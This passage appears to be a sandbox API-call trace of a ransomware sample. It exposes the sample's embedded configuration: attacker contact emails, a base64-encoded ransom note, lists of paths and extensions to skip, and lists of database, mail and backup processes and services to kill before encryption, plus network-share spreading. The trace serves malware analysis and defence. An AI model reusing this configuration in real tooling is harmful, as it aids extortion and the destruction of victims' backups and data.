AllocateDestinationString=1 | out: DestinationString="SRVCLI") returned 0x0 [0126.730] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xe) returned 0x2f4c00 [0126.730] RtlFreeAnsiString (AnsiString="S") [0126.730] RtlInitUnicodeString (in: DestinationString=0x2bf7d8, SourceString="SRVCLI" | out: DestinationString="SRVCLI") [0126.730] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="SRVCLI", BaseAddress=0x2bf7e4 | out: BaseAddress=0x2bf7e4*=0x75320000) returned 0x0 [0126.730] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x2f4c00) returned 1 [0126.730] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x2f0dd0) returned 1 [0126.730] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x9) returned 0x2f4be8 [0126.730] RtlInitAnsiString (in: DestinationString=0x2bf7cc, SourceString="NETUTILS" | out: DestinationString="NETUTILS") [0126.730] RtlAnsiStringToUnicodeString (in: DestinationString=0x2bf7d4, SourceString="NETUTILS", AllocateDestinationString=1 | out: DestinationString="NETUTILS") returned 0x0 [0126.730] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x12) returned 0x2f4908 [0126.730] RtlFreeAnsiString (AnsiString="N") [0126.730] RtlInitUnicodeString (in: DestinationString=0x2bf7d8, SourceString="NETUTILS" | out: DestinationString="NETUTILS") [0126.730] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NETUTILS", BaseAddress=0x2bf7e4 | out: BaseAddress=0x2bf7e4*=0x75340000) returned 0x0 [0126.731] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x2f4908) returned 1 [0126.731] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x2f4be8) returned 1 [0126.731] RtlInitUnicodeString (in: DestinationString=0x2bf844, SourceString="ole32.dll" | out: DestinationString="ole32.dll") [0126.731] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ole32.dll", BaseAddress=0x2bf850 | out: BaseAddress=0x2bf850*=0x75560000) returned 0x0 [0126.733] RtlInitUnicodeString (in: DestinationString=0x2bf844, SourceString="oleaut32.dll" | out: DestinationString="oleaut32.dll") [0126.733] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="oleaut32.dll", BaseAddress=0x2bf850 | out: BaseAddress=0x2bf850*=0x75b30000) returned 0x0 [0126.735] RtlInitUnicodeString (in: DestinationString=0x2bf844, SourceString="psapi.dll" | out: DestinationString="psapi.dll") [0126.735] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="psapi.dll", BaseAddress=0x2bf850 | out: BaseAddress=0x2bf850*=0x77830000) returned 0x0 [0126.739] FindResourceA (hModule=0xa60000, lpName=0x7a69, lpType=0x539) returned 0xa78048 [0126.739] LoadResource (hModule=0xa60000, hResInfo=0xa78048) returned 0xa78058 [0126.739] LockResource (hResData=0xa78058) returned 0xa78058 [0126.739] SizeofResource (hModule=0xa60000, hResInfo=0xa78048) returned 0x1492 [0126.739] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x1492) returned 0x2f53e8 [0126.739] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x5) returned 0x2f0df0 [0126.739] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x100) returned 0x2f6888 [0126.739] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x100) returned 0x2f6990 [0126.739] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x2f6990) returned 1 [0126.739] RtlFreeHeap (HeapHandle=0x2e0000, Flags=0x0, BaseAddress=0x2f6888) returned 1 [0126.739] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6888 [0126.739] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4) returned 0x2f4970 [0126.739] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f68a8 [0126.739] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4) returned 0x2f68c8 [0126.739] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f68d8 [0126.739] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f68c8, Size=0x8) returned 0x2f68c8 [0126.739] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f68f8 [0126.739] strtol (in: _Str="0,\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x2bf75c, _Radix=0 | out: _EndPtr=0x2bf75c*=",\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 0 [0126.739] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f68c8, Size=0xc) returned 0x2f6918 [0126.739] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6930 [0126.740] strtol (in: _Str="1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server 